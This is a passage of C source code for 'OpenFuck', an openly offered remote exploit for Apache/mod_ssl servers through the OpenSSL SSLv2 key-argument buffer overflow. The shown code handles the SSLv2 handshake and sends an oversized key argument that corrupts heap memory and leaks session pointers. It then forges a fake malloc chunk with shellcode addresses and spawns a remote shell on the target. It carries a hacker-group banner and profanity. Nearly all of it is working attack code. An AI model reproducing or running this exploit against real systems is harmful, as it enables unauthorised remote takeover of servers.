  902.     if ((rec_len <= 0) || (rec_len > buf_size)) {
  903.         printf("read_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len); 
  904.         exit(1);
  905.     }
  906.  
  907.     read_data(ssl->sock, buf, rec_len);
  908.  
  909.     if (ssl->encrypted) {
  910.         if (MD5_DIGEST_LENGTH + padding >= rec_len) {
  911.             if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
  912.                 /* the server didn't switch to encryption due to an error */
  913.                 return 0;
  914.             }
  915.             else {
  916.                 printf("read_ssl_packet: Encrypted message is too short (rec_len = %d)\n", rec_len);
  917.                 exit(1);
  918.             }
  919.         }
  920.  
  921.         /* decrypt the encrypted part of the packet */
  922.         RC4(ssl->rc4_read_key, rec_len, buf, buf);
  923.  
  924.         /* move the decrypted message in the beginning of the buffer */
  925.         rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
  926.         memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
  927.     }
  928.  
  929.     if (buf[0] == SSL2_MT_ERROR) {
  930.         if (rec_len != 3) {
  931.             printf("Malformed server error message\n");
  932.             exit(1);
  933.         }
  934.         else {
  935.             return 0;
  936.         }
  937.     }
  938.  
  939.     return rec_len;
  940. }
  941.  
  942. /* send an ssl packet, encrypting it if ssl->encrypted is set */
  943. void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len)
  944. {
  945.     unsigned char buf[BUFSIZE];
  946.     unsigned char* p;
  947.     int tot_len;
  948.     MD5_CTX ctx;
  949.     int seq;
  950.  
  951.  
  952.     if (ssl->encrypted)
  953.         tot_len = rec_len + MD5_DIGEST_LENGTH;    /* RC4 needs no padding */
  954.     else
  955.         tot_len = rec_len;
  956.  
  957.     if (2 + tot_len > BUFSIZE) {
  958.         printf("send_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len);
  959.         exit(1);
  960.     }
  961.  
  962.     p = buf;
  963.     s2n(tot_len, p);
  964.  
  965.     buf[0] = buf[0] | 0x80;    /* two byte header */
  966.  
  967.     if (ssl->encrypted) {
  968.         /* calculate the MAC */
  969.         seq = ntohl(ssl->write_seq);
  970.  
  971.         MD5_Init(&ctx);
  972.         MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
  973.         MD5_Update(&ctx, rec, rec_len);
  974.         MD5_Update(&ctx, &seq, 4);
  975.         MD5_Final(p, &ctx);
  976.  
  977.         p+=MD5_DIGEST_LENGTH;
  978.  
  979.         memcpy(p, rec, rec_len);
  980.  
  981.         /* encrypt the payload */
  982.         RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
  983.  
  984.     }
  985.     else {
  986.         memcpy(p, rec, rec_len);
  987.     }
  988.  
  989.     send(ssl->sock, buf, 2 + tot_len, 0);
  990.  
  991.     /* the sequence number is incremented by both encrypted and plaintext packets
  992. */
  993.     ssl->write_seq++;
  994. }
  995.  
  996. /* Send a CLIENT HELLO message to the server */
  997. void send_client_hello(ssl_conn *ssl)
  998. {
  999.     int i;
  1000.     unsigned char buf[BUFSIZE] =
  1001.         "\x01"            /* client hello msg */
  1002.  
  1003.         "\x00\x02"        /* client version */
  1004.         "\x00\x18"        /* cipher specs length */
  1005.         "\x00\x00"        /* session id length */
  1006.         "\x00\x10"        /* challenge length */
  1007.  
  1008.         "\x07\x00\xc0\x05\x00\x80\x03\x00"    /* cipher specs data */
  1009.         "\x80\x01\x00\x80\x08\x00\x80\x06"
  1010.         "\x00\x40\x04\x00\x80\x02\x00\x80"
  1011.  
  1012.         "";                                    /* session id data */
  1013.  
  1014.     /* generate CHALLENGE LENGTH bytes of challenge data */
  1015.     for (i = 0; i < CHALLENGE_LENGTH; i++) {
  1016.         ssl->challenge[i] = (unsigned char) (rand() >> 24);
  1017.     }
  1018.     memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
  1019.  
  1020.     send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
  1021. }
  1022.  
  1023. /* Get a SERVER HELLO response from the server */
  1024. void get_server_hello(ssl_conn* ssl)
  1025. {
  1026.     unsigned char buf[BUFSIZE];
  1027.     unsigned char *p, *end;
  1028.     int len;
  1029.     int server_version, cert_length, cs_length, conn_id_length;
  1030.     int found;
  1031.  
  1032.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  1033.         printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  1034.         exit(1);
  1035.     }
  1036.     if (len < 11) {
  1037.         printf("get_server_hello: Packet too short (len = %d)\n", len);
  1038.         exit(1);
  1039.     }
  1040.  
  1041.     p = buf;
  1042.  
  1043.     if (*(p++) != SSL2_MT_SERVER_HELLO) {
  1044.         printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got %x\n", (int)p[-1]);
  1045.         exit(1);
  1046.     }
  1047.  
  1048.     if (*(p++) != 0) {
  1049.         printf("get_server_hello: SESSION-ID-HIT is not 0\n");
  1050.         exit(1);
  1051.     }
  1052.  
  1053.     if (*(p++) != 1) {
  1054.         printf("get_server_hello: CERTIFICATE-TYPE is not SSL CT X509 CERTIFICATE\n");
  1055.         exit(1);
  1056.     }
  1057.  
  1058.     n2s(p, server_version);
  1059.     if (server_version != 2) {
  1060.         printf("get_server_hello: Unsupported server version %d\n", server_version);
  1061.         exit(1);
  1062.     }
  1063.  
  1064.     n2s(p, cert_length);
  1065.     n2s(p, cs_length);
  1066.     n2s(p, conn_id_length);
  1067.  
  1068.     if (len != 11 + cert_length + cs_length + conn_id_length) {
  1069.         printf("get_server_hello: Malformed packet size\n");
  1070.         exit(1);
  1071.     }
  1072.  
  1073.     /* read the server certificate */
  1074.     ssl->x509 = NULL;
  1075.     ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
  1076.     if (ssl->x509 == NULL) {
  1077.         printf("get server hello: Cannot parse x509 certificate\n");
  1078.         exit(1);
  1079.     }
  1080.  
  1081.     if (cs_length % 3 != 0) {
  1082.         printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n");
  1083.         exit(1);
  1084.     }
  1085.  
  1086.     found = 0;
  1087.     for (end=p+cs_length; p < end; p += 3) {
  1088.         if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80))
  1089.             found = 1;    /* SSL CK RC4 128 WITH MD5 */
  1090.     }
  1091.  
  1092.     if (!found) {
  1093.         printf("get server hello: Remote server does not support 128 bit RC4\n");
  1094.         exit(1);
  1095.     }
  1096.  
  1097.     if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) {
  1098.         printf("get server hello: CONNECTION-ID-LENGTH is too long\n");
  1099.         exit(1);
  1100.     }
  1101.  
  1102.     /* The connection id is sent back to the server in the CLIENT FINISHED packet */
  1103.     ssl->conn_id_length = conn_id_length;
  1104.     memcpy(ssl->conn_id, p, conn_id_length);
  1105. }
  1106.  
  1107. /* Send a CLIENT MASTER KEY message to the server */
  1108.  
  1109. void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
  1110.     int encrypted_key_length, key_arg_length, record_length;
  1111.     unsigned char* p;
  1112.     int i;
  1113.     EVP_PKEY *pkey=NULL;
  1114.  
  1115.     unsigned char buf[BUFSIZE] =
  1116.         "\x02"            /* client master key message */
  1117.         "\x01\x00\x80"    /* cipher kind */
  1118.         "\x00\x00"        /* clear key length */
  1119.         "\x00\x40"        /* encrypted key length */
  1120.         "\x00\x08";        /* key arg length */
  1121.  
  1122.     p = &buf[10];
  1123.  
  1124.     /* generate a 128 byte master key */
  1125.     for (i = 0; i < RC4_KEY_LENGTH; i++) {
  1126.         ssl->master_key[i] = (unsigned char) (rand() >> 24);
  1127.     }
  1128.  
  1129.     pkey=X509_get_pubkey(ssl->x509);
  1130.     if (!pkey) {
  1131.         printf("send client master key: No public key in the server certificate\n");
  1132.         exit(1);
  1133.     }
  1134.  
  1135.     if (pkey->type != EVP_PKEY_RSA) {
  1136.         printf("send client master key: The public key in the server certificate is not a RSA key\n");
  1137.         exit(1);
  1138.     }
  1139.  
  1140.     /* Encrypt the client master key with the server public key and put it in the packet */
  1141.     encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, 
  1142. RSA_PKCS1_PADDING);
  1143.     if (encrypted_key_length <= 0) {
  1144.         printf("send client master key: RSA encryption failure\n");
  1145.         exit(1);
  1146.     }
  1147.  
  1148.     p += encrypted_key_length;
  1149.  
  1150.     if (key_arg_overwrite) {
  1151.         /* These 8 bytes fill the key arg array on the server */
  1152.         for (i = 0; i < 8; i++) {
  1153.             *(p++) = (unsigned char) (rand() >> 24);
  1154.         }
  1155.         /* This overwrites the data following the key arg array */
  1156.         memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
  1157.  
  1158.         key_arg_length = 8 + key_arg_overwrite_len;
  1159.     }
  1160.     else {
  1161.         key_arg_length = 0;    /* RC4 doesn't use KEY-ARG */
  1162.     }
  1163.  
  1164.     p = &buf[6];
  1165.     s2n(encrypted_key_length, p);
  1166.     s2n(key_arg_length, p);
  1167.  
  1168.     record_length = 10 + encrypted_key_length + key_arg_length;
  1169.     send_ssl_packet(ssl, buf, record_length);
  1170.  
  1171.     /* all following messages should be encrypted */
  1172.     ssl->encrypted = 1;
  1173. }
  1174.  
  1175. /* Generate the key material using the algorithm described in the SSL2 specification */
  1176. void generate_key_material(ssl_conn* ssl)
  1177. {
  1178.     unsigned int i;
  1179.     MD5_CTX ctx;
  1180.     unsigned char *km;
  1181.     unsigned char c='0';
  1182.  
  1183.     km=ssl->key_material;
  1184.     for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
  1185.         MD5_Init(&ctx);
  1186.  
  1187.         MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
  1188.         MD5_Update(&ctx,&c,1);
  1189.         c++;
  1190.         MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
  1191.         MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
  1192.         MD5_Final(km,&ctx);
  1193.         km+=MD5_DIGEST_LENGTH;
  1194.     }
  1195. }
  1196.  
  1197. /* Generate the RC4 session read and write keys */
  1198. void generate_session_keys(ssl_conn* ssl)
  1199. {
  1200.     generate_key_material(ssl);
  1201.  
  1202.     ssl->read_key = &(ssl->key_material[0]);
  1203.     ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  1204.     RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
  1205.  
  1206.     ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
  1207.     ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  1208.     RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
  1209. }
  1210.  
  1211. /* Get a SERVER VERIFY response from the server */
  1212. void get_server_verify(ssl_conn* ssl)
  1213. {
  1214.     unsigned char buf[BUFSIZE];
  1215.     int len;
  1216.  
  1217.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  1218.         printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  1219.         exit(1);
  1220.     }
  1221.     if (len != 1 + CHALLENGE_LENGTH) {
  1222.         printf("get server verify: Malformed packet size\n");
  1223.         exit(1);
  1224.     }
  1225.  
  1226.     if (buf[0] != SSL2_MT_SERVER_VERIFY) {
  1227.         printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n", (int)buf[0]);
  1228.         exit(1);
  1229.     }
  1230.  
  1231.     /* If this works, our decryption key is correct */
  1232.     if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) {
  1233.         printf("get server verify: Challenge strings don't match\n");
  1234.         exit(1);
  1235.     }
  1236. }
  1237.  
  1238. /* Send a CLIENT FINISHED message to the server */
  1239. void send_client_finished(ssl_conn* ssl)
  1240. {
  1241.     unsigned char buf[BUFSIZE];
  1242.  
  1243.     buf[0] = SSL2_MT_CLIENT_FINISHED;
  1244.     memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
  1245.  
  1246.     send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
  1247. }
  1248.  
  1249. /* Get a SERVER FINISHED message from the server */
  1250. void get_server_finished(ssl_conn* ssl)
  1251. {
  1252.     unsigned char buf[BUFSIZE];
  1253.     int len;
  1254.     int i;
  1255.  
  1256.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  1257.         printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  1258.         exit(1);
  1259.     }
  1260.     if (buf[0] != SSL2_MT_SERVER_FINISHED) {
  1261.         printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n", (int)buf[0]);
  1262.         exit(1);
  1263.     }
  1264.  
  1265.     if (len <= 112 /*17*/) {
  1266.         printf("This server is not vulnerable to this attack.\n");
  1267.         exit(1);
  1268.     }
  1269.     cipher = *(int*)&buf[101];
  1270.     ciphers = *(int*)&buf[109];
  1271.  
  1272.     printf("cipher: 0x%x   ciphers: 0x%x\n", cipher, ciphers);
  1273. }
  1274.  
  1275. void get_server_error(ssl_conn* ssl)
  1276. {
  1277.     unsigned char buf[BUFSIZE];
  1278.     int len;
  1279.  
  1280.     if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) {
  1281.         printf("get server finished: Expected SSL2 MT ERROR, got %x\n", (int)buf[0]);
  1282.         exit(1);
  1283.     }
  1284. }
  1285.  
  1286. void usage(char* argv0)
  1287. {
  1288.     int i;
  1289.  
  1290.     printf(": Usage: %s target box [port] [-c N]\n\n", argv0);
  1291.     printf("  target - supported box eg: 0x00\n");
  1292.     printf("  box - hostname or IP address\n");
  1293.     printf("  port - port for ssl connection\n");
  1294.     printf("  -c open N connections. (use range 40-50 if u dont know)\n");
  1295.     printf("  \n\n");
  1296.     printf("  Supported OffSet:\n");
  1297.  
  1298.     for (i=0; i<=MAX_ARCH; i++) {
  1299.         printf("\t0x%02x - %s\n", i, architectures[i].desc);
  1300.     }
  1301.     printf("\nFuck to all guys who like use lamah ddos\n");
  1302.  
  1303.     exit(1);
  1304. }
  1305.  
  1306. /* run, code, run */
  1307. int main(int argc, char* argv[])
  1308. {
  1309.     char* host;
  1310.     int port = 443;
  1311.     int i;
  1312.     int arch;
  1313.     int N = 0;
  1314.     ssl_conn* ssl1;
  1315.     ssl_conn* ssl2;
  1316.  
  1317.     printf("\n");
  1318.     printf("****************************************************************************\n");
  1319.     printf("*            OpenFuck v 2.5.0.2      ripped from openssl-too-open          *\n");
  1320.     printf("****************************************************************************\n");
  1321.     printf("                  * If U know more offset please contact us *\n");
  1322.         printf("                  *                                         *\n");
  1323.     printf("****************************************************************************\n");
  1324.         printf("*        offset by SPABAM   added LSD shellcode                            *\n");
  1325.         printf("*                                                     #highsecure          *\n");
  1326.     printf("* TNX special 2 #uname and #hackarena #SilverLords #isotk #BloodBR         *\n");
  1327.     printf("* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam          *\n");
  1328.     printf("* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ          *\n");
  1329.     printf("****************************************************************************\n");
  1330.     printf("\n");
  1331.  
  1332.     if ((argc < 3) || (argc > 6))
  1333.         usage(argv[0]);
  1334.  
  1335.     /* pff... use getopt next time, fool */
  1336.  
  1337.     sscanf(argv[1], "0x%x", &arch);
  1338.     if ((arch < 0) || (arch > MAX_ARCH))
  1339.         usage(argv[0]);
  1340.  
  1341.     host = argv[2];
  1342.  
  1343.     if (argc == 4)
  1344.         port = atoi(argv[3]);
  1345.     else if (argc == 5) {
  1346.         if (strcmp(argv[3], "-c"))
  1347.             usage(argv[0]);
  1348.         N = atoi(argv[4]);
  1349.     }
  1350.     else if (argc == 6) {
  1351.         port = atoi(argv[3]);
  1352.         if (strcmp(argv[4], "-c"))
  1353.             usage(argv[0]);
  1354.         N = atoi(argv[5]);
  1355.     }
  1356.  
  1357.     srand(0x31337);
  1358.  
  1359.     /* Open N connections before sending the shellcode. Hopefully this will
  1360.        use up all available apache children and the shellcode will be handled
  1361.        by a freshly spawned one */
  1362.  
  1363.     for (i=0; i<N; i++) {
  1364.         printf("\rConnection... %d of %d", i+1, N);
  1365.         fflush(stdout);
  1366.         connect_host(host, port);
  1367.         usleep(100000);
  1368.     }
  1369.  
  1370.     if (N) printf("\n");
  1371.  
  1372.     /* Establish the first connection. Overwrite session id length, and read
  1373.        the session contents in the SERVER FINISHED packet. We need the cipher
  1374.        and ciphers variables from the session structure to make the shellcode
  1375.        work */
  1376.  
  1377.     printf("Establishing SSL connection\n");
  1378.     ssl1 = ssl_connect_host(host, port);
  1379.     ssl2 = ssl_connect_host(host, port);
  1380.  
  1381.     send_client_hello(ssl1);
  1382.     get_server_hello(ssl1);
  1383.     send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
  1384.     generate_session_keys(ssl1);
  1385.     get_server_verify(ssl1);
  1386.     send_client_finished(ssl1);
  1387.     get_server_finished(ssl1);
  1388.  
  1389.     /* The second connection uses the ciphers variable to get the shellcode
  1390.        address and sends the shellcode to server */
  1391.  
  1392.     printf("Ready to send shellcode\n");
  1393.  
  1394.     port = get_local_port(ssl2->sock);
  1395.     overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
  1396.     overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
  1397.  
  1398.     /* We must overwrite s->session->cipher with its original value */
  1399.     *(int*)&overwrite_next_chunk[156] = cipher;
  1400.  
  1401.     /* The fd and bk pointers of the fake malloc chunk */
  1402.     *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
  1403.     *(int*)&overwrite_next_chunk[196] = ciphers + 16;    /* shellcode address */
  1404.  
  1405.     send_client_hello(ssl2);
  1406.     get_server_hello(ssl2);
  1407.  
  1408.     send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
  1409.     generate_session_keys(ssl2);
  1410.     get_server_verify(ssl2);
  1411.  
  1412.     /* overwrite the connection id with random bytes, causing the server to abort the connection */
  1413.     for (i = 0; i < ssl2->conn_id_length; i++) {
  1414.         ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
  1415.     }
  1416.     send_client_finished(ssl2);
  1417.     get_server_error(ssl2);
  1418.  
  1419.     printf("Spawning shell...\n");
  1420.  
  1421.     sleep(1);
  1422.  
  1423.     sh(ssl2->sock);
  1424.  
  1425.     close(ssl2->sock);
  1426.     close(ssl1->sock);
  1427.  
  1428.     return 0;
  1429. }
  1430.  
  1431. /* It isn't 0day */
  1432.  
  1433.  
  1434.